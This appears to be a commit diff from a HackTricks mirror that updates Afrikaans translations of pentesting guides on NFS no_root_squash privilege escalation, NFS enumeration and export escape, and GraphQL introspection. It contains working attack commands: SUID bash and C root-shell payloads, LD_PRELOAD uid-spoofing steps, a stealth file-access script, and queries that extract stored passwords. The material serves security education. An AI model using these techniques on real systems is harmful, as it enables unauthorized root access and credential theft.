maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash

Browse Source
This commit is contained in:
Translator 2025-02-05 00:24:51 +00:00
parent 80523d9b80
commit f943c6cf03
10 changed files with 443 additions and 295 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

52
src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
View File

@ -1,18 +1,29 @@
{{#include ../../banners/hacktricks-training.md}}
Lees die _ **/etc/exports** _ lêer, as jy 'n gids vind wat geconfigureer is as **no_root_squash**, dan kan jy **toegang** verkry tot dit **as 'n kliënt** en **binne** daardie gids **skryf** **asof** jy die plaaslike **root** van die masjien was.
# Basiese Inligting oor Squashing
**no_root_squash**: Hierdie opsie gee basies gesag aan die root-gebruiker op die kliënt om lêers op die NFS-bediener as root te benader. En dit kan lei tot ernstige sekuriteitsimplikasies.
NFS sal gewoonlik (veral in linux) die aangeduide `uid` en `gid` deur die kliënt wat aansluit om toegang tot die lêers te verkry (as kerberos nie gebruik word nie) vertrou. Daar is egter 'n paar konfigurasies wat op die bediener gestel kan word om **hierdie gedrag te verander**:
**no_all_squash:** Dit is soortgelyk aan die **no_root_squash** opsie, maar dit geld vir **nie-root gebruikers**. Stel jou voor, jy het 'n shell as nobody gebruiker; het die /etc/exports lêer nagegaan; die no_all_squash opsie is teenwoordig; het die /etc/passwd lêer nagegaan; emuleer 'n nie-root gebruiker; skep 'n suid lêer as daardie gebruiker (deur te monteer met nfs). Voer die suid uit as nobody gebruiker en word 'n ander gebruiker.
- **`all_squash`**: Dit squash al die toegang deur elke gebruiker en groep na **`nobody`** (65534 unsigned / -2 signed) te map. Daarom is almal `nobody` en geen gebruikers word gebruik nie.
- **`root_squash`/`no_all_squash`**: Dit is die standaard op Linux en **squash slegs toegang met uid 0 (root)**. Daarom word enige `UID` en `GID` vertrou, maar `0` word na `nobody` gesquash (so geen root-imperonering is moontlik nie).
- **``no_root_squash`**: Hierdie konfigurasie, indien geaktiveer, squash nie eens die root-gebruiker nie. Dit beteken dat as jy 'n gids met hierdie konfigurasie monteer, jy dit as root kan benader.
In die **/etc/exports** lêer, as jy 'n gids vind wat as **no_root_squash** geconfigureer is, kan jy dit **toegang** vanaf **as 'n kliënt** en **binne** daardie gids **skryf** asof jy die plaaslike **root** van die masjien was.
Vir meer inligting oor **NFS** kyk:
{{#ref}}
/network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
# Privilege Escalation
## Remote Exploit
## Afgeleë Exploit
As jy hierdie kwesbaarheid gevind het, kan jy dit benut:
- **Monteer daardie gids** in 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde gids die **/bin/bash** binêre en gee dit **SUID** regte, en **voerde** van die slagoffer masjien daardie bash binêre uit.
Opsie 1 met bash:
- **Monteer daardie gids** in 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde vouer die **/bin/bash** binêre en gee dit **SUID** regte, en **voer uit vanaf die slagoffer** masjien daardie bash binêre.
- Let daarop dat om root binne die NFS deel te wees, **`no_root_squash`** op die bediener geconfigureer moet wees.
- As dit egter nie geaktiveer is nie, kan jy na 'n ander gebruiker opgradeer deur die binêre na die NFS deel te kopieer en dit die SUID toestemming te gee as die gebruiker waarnatoe jy wil opgradeer.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -25,7 +36,9 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Monteer daardie gids** op 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde vouer ons saamgecompileerde payload wat die SUID-toestemming sal misbruik, gee vir dit **SUID** regte, en **voer vanaf die slagoffer** masjien daardie binêre uit (jy kan hier 'n paar [C SUID payloads](payloads-to-execute.md#c) vind).
Option 2 met c gecompileerde kode:
- **Monteer daardie gids** op 'n kliëntmasjien, en **as root kopieer** binne die gemonteerde vouer ons gecompileerde payload wat die SUID-toestemming sal misbruik, gee vir dit **SUID** regte, en **voer vanaf die slagoffer** masjien daardie binêre uit (jy kan hier 'n paar [C SUID payloads](payloads-to-execute.md#c) vind).
- Dieselfde beperkings as voorheen
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -43,7 +56,7 @@ cd <SHAREDD_FOLDER>
> [!NOTE]
> Let daarop dat as jy 'n **tunnel van jou masjien na die slagoffer masjien kan skep, jy steeds die Remote weergawe kan gebruik om hierdie privaatheidsverhoging te exploiteer deur die vereiste poorte te tunnelle**.\
> Die volgende truuk is in die geval waar die lêer `/etc/exports` **'n IP aandui**. In hierdie geval **sal jy in geen geval die **remote exploit** kan gebruik nie en jy sal hierdie truuk moet **misbruik**.\
> Die volgende truuk is in die geval waar die lêer `/etc/exports` **'n IP aandui**. In hierdie geval **sal jy in elk geval nie** die **remote exploit** kan gebruik nie en jy sal hierdie truuk **moet misbruik**.\
> 'n Ander vereiste vir die exploit om te werk is dat **die eksport binne `/etc/export`** **die `insecure` vlag moet gebruik**.\
> --_Ek is nie seker of hierdie truuk sal werk as `/etc/export` 'n IP adres aandui nie_--
@ -53,43 +66,38 @@ Die scenario behels die eksploitering van 'n gemonteerde NFS deel op 'n plaaslik
### Kompilerings van die Biblioteek
Die biblioteek kompileringsstappe mag aanpassings vereis gebaseer op die kern weergawe. In hierdie spesifieke geval was die fallocate syscalls kommentaar gegee. Die kompileringsproses behels die volgende opdragte:
Die biblioteek kompileringsstappe mag aanpassings vereis gebaseer op die kern weergawe. In hierdie spesifieke geval is die fallocate syscalls kommentaar gegee. Die kompileringsproses behels die volgende opdragte:
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Die Uitbuiting Uitvoer
### Die Uitbuiting Voer
Die uitbuiting behels die skep van 'n eenvoudige C-programma (`pwn.c`) wat voorregte na root verhoog en dan 'n shell uitvoer. Die program word gecompileer, en die resulterende binêre (`a.out`) word op die deel geplaas met suid root, met behulp van `ld_nfs.so` om die uid in die RPC-oproepe te vervals:
Die uitbuiting behels die skep van 'n eenvoudige C-program (`pwn.c`) wat voorregte na root verhoog en dan 'n shell uitvoer. Die program word gecompileer, en die resulterende binêre (`a.out`) word op die deel geplaas met suid root, met gebruik van `ld_nfs.so` om die uid in die RPC-oproepe te vervals:
1. **Compileer die uitbuitingskode:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Plaas die uitbuiting op die deel en wysig sy toestemmings deur die uid te vervals:**
2. **Plaas die exploit op die deel en wysig sy toestemmings deur die uid te vervals:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **Voer die uitbuiting uit om root voorregte te verkry:**
3. **Voer die ontploffing uit om wortelregte te verkry:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell vir Stealthy File Toegang
## Bonus: NFShell vir Stealthy Lêertoegang
Sodra root-toegang verkry is, om met die NFS-deel te kommunikeer sonder om eienaarskap te verander (om spore te vermy), word 'n Python-skrip (nfsh.py) gebruik. Hierdie skrip pas die uid aan om ooreen te stem met dié van die lêer wat toegang verkry word, wat interaksie met lêers op die deel moontlik maak sonder toestemmingsprobleme:
Sodra root-toegang verkry is, om met die NFS-aandeel te kommunikeer sonder om eienaarskap te verander (om te verhoed dat daar spore agtergelaat word), word 'n Python-skrip (nfsh.py) gebruik. Hierdie skrip pas die uid aan om te ooreenstem met dié van die lêer wat toegang verkry, wat interaksie met lêers op die aandeel moontlik maak sonder toestemmingkwessies:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -108,7 +116,7 @@ uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
Hardloop soos:
Loop soos:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old

106
src/network-services-pentesting/nfs-service-pentesting.md
View File

@ -4,28 +4,65 @@
## **Basiese Inligting**
**NFS** is 'n stelsel wat ontwerp is vir **klient/bediener** wat gebruikers in staat stel om naatloos toegang tot lêers oor 'n netwerk te verkry asof hierdie lêers in 'n plaaslike gids geleë is.
**NFS** is 'n stelsel wat ontwerp is vir **kliënt/bediener** wat gebruikers in staat stel om naatloos toegang tot lêers oor 'n netwerk te verkry asof hierdie lêers in 'n plaaslike gids geleë is.
'n Opmerklike aspek van hierdie protokol is die gebrek aan ingeboude **verifikasie** of **autorisasiemeganismes**. In plaas daarvan, berus autorisasie op **lêerstelselinligting**, met die bediener wat verantwoordelik is om **klient-gelewer gebruikersinligting** akkuraat in die lêerstelsel se vereiste **autorisasieformaat** te vertaal, hoofsaaklik volgens **UNIX-sintaksis**.
Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidmaatskappe**. egter, ontstaan 'n uitdaging weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die beste geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van verifikasie.
**Standaardpoort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP).
**Standaard poort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP).
```
2049/tcp open nfs 2-3 (RPC #100003
```
### Authentisering
'n Opmerklike aspek van hierdie protokol is die gewone gebrek aan ingeboude **authentisering** of **autorisasiemeganismes**. In plaas daarvan, berus autorisasie op **lêerstelselinligting**, met die bediener wat verantwoordelik is om **klant-gelewer gebruikersinligting** akkuraat in die lêerstelsel se vereiste **autorisasieformaat** te vertaal, hoofsaaklik volgens **UNIX-sintaksis**.
Authentisering berus gewoonlik op **UNIX `UID`/`GID` identifiseerders en groeplidmaatskappe**. 'n Uitdaging ontstaan egter weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Boonop word hierdie besonderhede deur die kliënt gestuur en deur die bediener vertrou, sodat 'n slegte kliënt potensieel kan **verteenwoordig** 'n ander gebruiker deur meer bevoorregte `uid` en `gid`s te stuur.
**Let egter daarop dat dit standaard nie moontlik is om die `UID` 0 (root) te verteenwoordig nie met NFS. Meer oor hierdie in die squashing-afdeling.**
#### Gashere
Vir beter (of sommige) autorisasie, kan jy die **gashere** spesifiseer wat toegang tot die NFS-aandeel kan hê. Dit kan gedoen word in die Linux `/etc/exports` lêer. Byvoorbeeld:
```
/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
```
As jy kan sien, dit laat toe om 'n spesifieke **IP** of **hostname** te konfigureer om toegang tot die deel te verkry. Slegs daardie adres sal in staat wees om toegang tot die deel te verkry.
### Weergawes
- **NFSv2**: Hierdie weergawe is bekend vir sy breë kompatibiliteit met verskeie stelsels, wat sy belangrikheid merk met aanvanklike bedrywighede hoofsaaklik oor UDP. As die **oudste** in die reeks, het dit die grondslag gelê vir toekomstige ontwikkelings.
- **NFSv2**: Hierdie weergawe word erken vir sy breë kompatibiliteit met verskeie stelsels, wat sy belangrikheid merk met aanvanklike bedrywighede hoofsaaklik oor UDP. As die **oudste** in die reeks, het dit die grondslag gelê vir toekomstige ontwikkelinge.
- **NFSv3**: Ingevoerd met 'n reeks verbeterings, het NFSv3 op sy voorganger uitgebrei deur veranderlike lêergroottes te ondersteun en verbeterde foutverslagmeganismes aan te bied. Ten spyte van sy vooruitgang, het dit beperkings in volle terugwaartse kompatibiliteit met NFSv2-kliënte ondervind.
- **NFSv3**: Ingevoerd met 'n reeks verbeterings, het NFSv3 op sy voorganger uitgebrei deur veranderlike lêergrootte te ondersteun en verbeterde foutverslagmeganismes aan te bied. Ten spyte van sy vooruitgang, het dit beperkings in volle terugwaartse kompatibiliteit met NFSv2-kliënte ondervind.
- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n reeks kenmerke gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorkom en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë.
- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n reeks funksies gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorsteek en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë.
- Let daarop dat dit baie vreemd is om 'n Linux-gasheer NFS te vind wat kerberos-verifikasie ondersteun.
Elke weergawe van NFS is ontwikkel met die doel om die ontwikkelende behoeftes van netwerkomgewings aan te spreek, wat progressief sekuriteit, kompatibiliteit en prestasie verbeter.
### Squashing
Soos vroeër genoem, sal NFS gewoonlik die kliënt se `uid` en `gid` vertrou om toegang tot die lêers te verkry (as kerberos nie gebruik word nie). Daar is egter 'n paar konfigurasies wat in die bediener gestel kan word om **hierdie gedrag te verander**:
- **all_squash**: Dit squash al die toegang wat elke gebruiker en groep na **`nobody`** (65534 unsigned / -2 signed) map. Daarom is almal `nobody` en geen gebruikers word gebruik nie.
- **root_squash/no_all_squash**: Dit is die standaard op Linux en **squash slegs toegang met uid 0 (root)**. Daarom word enige `UID` en `GID` vertrou, maar `0` word gesquash na `nobody` (so geen root-imperonering is moontlik nie).
- **no_root_squash**: Hierdie konfigurasie, indien geaktiveer, squash nie eens die root-gebruiker nie. Dit beteken dat as jy 'n gids met hierdie konfigurasie monteer, jy dit as root kan benader.
### Subtree check
Slegs beskikbaar op Linux. man(5) exports sê: "As 'n subgids van 'n lêerstelsel ge-exporteer word, maar die hele lêerstelsel nie, dan moet die bediener wanneer 'n NFS-versoek aankom, nie net nagaan dat die benaderde lêer in die toepaslike lêerstelsel is (wat maklik is) nie, maar ook dat dit in die ge-exporteerde boom is (wat moeiliker is). Hierdie kontrole word die subtree check genoem."
In Linux is die **`subtree_check`-kenmerk standaard gedeaktiveer**.
## Enumerasie
### Showmount
Dit kan gebruik word om **inligting van 'n NFSv3-bediener te verkry**, soos die lys van **exports**, wie **toegang het** tot hierdie exports, en watter kliënte verbind is (wat dalk onakkuraat kan wees as 'n kliënt ontkoppel sonder om die bediener te vertel).
In **NFSv4 kliënte benader net direk die / export** en probeer om exports van daar te benader, en misluk as dit ongeldig of nie geautoriseer is nie.
As gereedskap soos `showmount` of Metasploit-modules nie inligting van 'n NFS-poort toon nie, is dit moontlik 'n NFSv4-bediener wat nie weergawe 3 ondersteun nie.
```bash
showmount -e <IP>
```
### Nuttige nmap skripte
```bash
nfs-ls #List NFS exports and check permissions
@ -36,9 +73,13 @@ nfs-statfs #Disk statistics and info from NFS share
```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Montering
### nfs_analyze
Om te weet **watter gids** die bediener **beskikbaar** het om te monteer, kan jy dit vra met:
Hierdie hulpmiddel van [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) kan gebruik word om 'n groot hoeveelheid data van 'n NFS-bediener te verkry, soos **mounts**, ondersteunde NFS-weergawes, gekonnekteerde IP's, en selfs of dit moontlik is om te **ontsnap van die exports** na ander vouers in die FS of **of `no_root_squash` geaktiveer is**.
## Mounting
Om te weet **watter vouer** die bediener **beskikbaar** het om te monteer, kan jy dit vra met:
```bash
showmount -e <IP>
```
@ -46,18 +87,43 @@ Dan monteer dit met:
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
U moet spesifiseer om **weergawe 2** te gebruik omdat dit **geen** **verifikasie** of **outorisering** het nie.
U moet spesifiseer om **weergawe 2** te **gebruik** omdat dit **geen** **verifikasie** of **outorisering** het nie.
**Voorbeeld:**
```bash
mkdir /mnt/new_back
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## Toestemmings
## Aanvalle
As jy 'n gids monteer wat **lêers of gidse bevat wat slegs deur 'n sekere gebruiker toeganklik is** (deur **UID**). Jy kan **lokaal** 'n gebruiker met daardie **UID** skep en met daardie **gebruiker** sal jy in staat wees om die lêer/gids te **benader**.
### Vertroue UID en GID
## NSFShell
Natuurlik is die enigste probleem hier dat dit standaard nie moontlik is om root (`UID` 0) na te boots nie. Dit is egter moontlik om enige ander gebruiker na te boots of as `no_root_squash` geaktiveer is, kan jy ook root na boots.
- As jy 'n gids monteer wat **lêers of gidse bevat wat slegs deur 'n sekere gebruiker toeganklik is** (deur **UID**). Jy kan **lokal** 'n gebruiker met daardie **UID** skep en met daardie **gebruiker** sal jy in staat wees om die lêer/gids te **benader**.
- Die hulpmiddel **`fuse_nfs`** van [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) sal basies altyd die nodige UID en GID stuur om toegang tot die lêers te verkry.
### SUID Privilege Escalation
Kyk na die bladsy:
{{#ref}}
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
### Ontsnapping van die exports
In hierdie [geweldige artikel](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) is dit moontlik om te sien dat dit moontlik is om te **ontsnap van die exports om toegang tot ander gidse in die FS te verkry**.
Daarom, as 'n export 'n gids exporteer wat 'n **subgids** van die **hele lêerstelsel** is, is dit moontlik om lêers buite die export te benader as **`subtree_check`** gedeaktiveer is. En dit is **gedeaktiveer per standaard in Linux**.
Byvoorbeeld, as 'n NFS-bediener `/srv/` exporteer en `/var/` in dieselfde lêerstelsel is, is dit moontlik om logs van `/var/log/` te lees of 'n webshell in `/var/www/` te stoor.
Boonop, let daarop dat slegs die root (0) gebruiker standaard beskerm is teen na te boots (kyk na die Squash afdeling). As 'n lêer **aan root behoort, maar die groep nie 0 is nie, is dit moontlik om toegang te verkry**. Byvoorbeeld, die lêer `/etc/shadow` behoort aan root, maar die groep is `shadow` (gid 42 op Debian). Daarom is dit moontlik om dit standaard te lees!
Die hulpmiddel **`nfs_analyze`** van [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) is gebou om hierdie aanval teen die lêerstelsels ext4, xfs, btrfs in weergawe 3 te ondersteun (dit behoort ook moontlik te wees in v4).
### NSFShell
Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te hê, kan jy [nfsshell](https://github.com/NetDirect/nfsshell) gebruik.
@ -68,7 +134,7 @@ Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te
/etc/exports
/etc/lib/nfs/etab
```
### Gevaarlike instellings
## Gevaarlike instellings
- **Lees- en Skryfregte (`rw`):** Hierdie instelling laat beide lees van en skryf na die lêerstelsel toe. Dit is noodsaaklik om die implikasies van die toekenning van so 'n breë toegang in ag te neem.
@ -76,13 +142,13 @@ Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te
- **Sigbaarheid van Geneste Lêerstelsels (`nohide`):** Hierdie konfigurasie maak gidse sigbaar selfs al is 'n ander lêerstelsel onder 'n geëksporteerde gids gemonteer. Elke gids vereis sy eie uitvoerinskrywing vir behoorlike bestuur.
- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is hul oorspronklike UID/GID van 0, wat die beginsel van die minste voorregte ignoreer en moontlik oormatige regte toeken.
- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is, hul oorspronklike UID/GID van 0, wat die beginsel van die minste voorregte ignoreer en moontlik oormatige regte toeken.
- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel bewaar word, wat kan lei tot toestemming en toegangbeheer probleme as dit nie korrek hanteer word nie.
- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel behou word, wat tot toestemming- en toegangbeheerprobleme kan lei as dit nie korrek hanteer word nie.
## Voorregverhoging deur NFS misconfigurasies
## Privilege Escalation met NFS misconfigurasies
[NFS no_root_squash en no_all_squash voorregverhoging](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
[NFS no_root_squash en no_all_squash privilege escalation](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
## HackTricks Outomatiese Opdragte
```

76
src/network-services-pentesting/pentesting-web/graphql.md
View File

@ -4,15 +4,15 @@
## Inleiding
GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels 'n aantal versoeke oor verskillende eindpunte benodig om data te versamel, stel GraphQL die haal van alle vereiste inligting deur 'n **enkele versoek** moontlik. Hierdie stroomlynings **voordele ontwikkelaars** deur die kompleksiteit van hul data-haal prosesse te verminder.
GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels 'n aantal versoeke oor verskillende eindpunte vereis om data te versamel, stel GraphQL die haal van alle nodige inligting deur 'n **enkele versoek** moontlik. Hierdie stroomlynproses **voordele ontwikkelaars** deur die kompleksiteit van hul data-haalprosesse te verminder.
## GraphQL en Sekuriteit
Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan ook nuwe sekuriteitskwesbaarhede. 'n Sleutelpunt om te noem is dat **GraphQL nie outentikasie-meganismes standaard insluit nie**. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentikasie kan GraphQL eindpunte sensitiewe inligting aan nie-geoutentiseerde gebruikers blootstel, wat 'n beduidende sekuriteitsrisiko inhou.
Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan nuwe sekuriteitskwesbaarhede. 'n Sleutelpunt om te noem is dat **GraphQL nie outentikasie-meganismes standaard insluit nie**. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentikasie kan GraphQL-eindpunte sensitiewe inligting aan nie-geoutentiseerde gebruikers blootstel, wat 'n beduidende sekuriteitsrisiko inhou.
### Gids Brute Force Aanvalle en GraphQL
Om blootgestelde GraphQL voorbeelde te identifiseer, word die insluiting van spesifieke paaie in gids brute force aanvalle aanbeveel. Hierdie paaie is:
Om blootgestelde GraphQL-instanties te identifiseer, word die insluiting van spesifieke paaie in gids brute force aanvalle aanbeveel. Hierdie paaie is:
- `/graphql`
- `/graphiql`
@ -23,15 +23,15 @@ Om blootgestelde GraphQL voorbeelde te identifiseer, word die insluiting van spe
- `/graphql/api`
- `/graphql/graphql`
Die identifisering van oop GraphQL voorbeelde stel in staat om die ondersteunende vrae te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt beskikbaar is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die vrae wat 'n skema ondersteun, in detail te beskryf. Vir meer inligting hieroor, verwys na die GraphQL dokumentasie oor introspeksie: [**GraphQL: 'n vrae-taal vir API's.**](https://graphql.org/learn/introspection/)
Die identifisering van oop GraphQL-instanties stel in staat om die ondersteunende versoeke te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt toeganklik is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die versoeke wat 'n skema ondersteun, in detail te beskryf. Vir meer inligting hieroor, verwys na die GraphQL-dokumentasie oor introspeksie: [**GraphQL: 'n vrae-taal vir API's.**](https://graphql.org/learn/introspection/)
### Vingerafdruk
Die hulpmiddel [**graphw00f**](https://github.com/dolevf/graphw00f) is in staat om te detecteer watter GraphQL enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsauditor.
Die hulpmiddel [**graphw00f**](https://github.com/dolevf/graphw00f) is in staat om te detecteer watter GraphQL-enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsauditor af.
#### Universele vrae <a href="#universal-queries" id="universal-queries"></a>
#### Universele versoeke <a href="#universal-queries" id="universal-queries"></a>
Om te kontroleer of 'n URL 'n GraphQL diens is, kan 'n **universele vraag**, `query{__typename}`, gestuur word. As die antwoord `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL eindpunt huisves. Hierdie metode berus op GraphQL se `__typename` veld, wat die tipe van die gevraagde objek onthul.
Om te kontroleer of 'n URL 'n GraphQL-diens is, kan 'n **universele versoek**, `query{__typename}`, gestuur word. As die antwoord `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL-eindpunt huisves. Hierdie metode is afhanklik van GraphQL se `__typename` veld, wat die tipe van die gevraagde objek onthul.
```javascript
query{__typename}
```
@ -57,7 +57,7 @@ Met hierdie navraag kan jy al die tipes, dit se velde, en dit se argumente (en d
**Foute**
Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit nuttige **inligting** sal bydra.
Dit is interessant om te weet of die **foute** as **getoon** gaan word, aangesien dit nuttige **inligting** sal bydra.
```
?query={__schema}
?query={}
@ -170,17 +170,17 @@ As introspeksie geaktiveer is, kan jy [**GraphQL Voyager**](https://github.com/A
### Navraag
Nou dat ons weet watter soort inligting in die databasis gestoor is, kom ons probeer om **'n paar waardes te onttrek**.
Nou dat ons weet watter soort inligting in die databasis gestoor is, kom ons probeer om **sommige waardes te onttrek**.
In die introspeksie kan jy vind **watter objek jy direk kan navraag doen** (want jy kan nie 'n objek navraag doen net omdat dit bestaan nie). In die volgende beeld kan jy sien dat die "_queryType_" "_Query_" genoem word en dat een van die velde van die "_Query_" objek "_flags_" is, wat ook 'n tipe objek is. Daarom kan jy die vlag objek navraag doen.
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
Let daarop dat die tipe van die navraag "_flags_" is "_Flags_", en hierdie objek is soos hieronder gedefinieer:
Let daarop dat die tipe van die navraag "_flags_" "_Flags_" is, en hierdie objek is soos hieronder gedefinieer:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
Jy kan sien dat die "_Flags_" objektes bestaan uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry:
Jy kan sien dat die "_Flags_" objektes saamgestel is uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry:
```javascript
query={flags{name, value}}
```
@ -193,7 +193,7 @@ Jy kan dit eenvoudig vra met:
query = { hiddenFlags }
```
In 'n ander voorbeeld waar daar 2 voorwerpe binne die "_Query_" tipe voorwerp was: "_user_" en "_users_".\
As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan **jy al die inligting van hulle onttrek** net deur **te vra** vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kan jy die gestoor gebruikersname en wagwoorde onttrek:
As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan **alle inligting van hulle onttrek** word net deur **te vra** vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kan jy die gestoor gebruikersname en wagwoorde onttrek:
![](<../../images/image (880).png>)
@ -219,7 +219,7 @@ En tydens die **enumeration fase** het ek ontdek dat die "_**dbuser**_" voorwerp
**Query string dump trick (dankie aan @BinaryShadow\_)**
As jy kan soek op 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **al die data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_).
As jy kan soek op 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **alle data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_).
### Soek
@ -250,7 +250,7 @@ name
```
Let op hoe dit aangedui word om die `name` van die `subscribedMovies` van die persoon te verkry.
Jy kan ook **verskeie voorwerpe terselfdertyd soek**. In hierdie geval word daar 2 flieks gesoek:
Jy kan ook **verskeie voorwerpe terselfdertyd soek**. In hierdie geval word daar 'n soektog na 2 flieks gedoen:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@ -289,9 +289,9 @@ In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volg
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
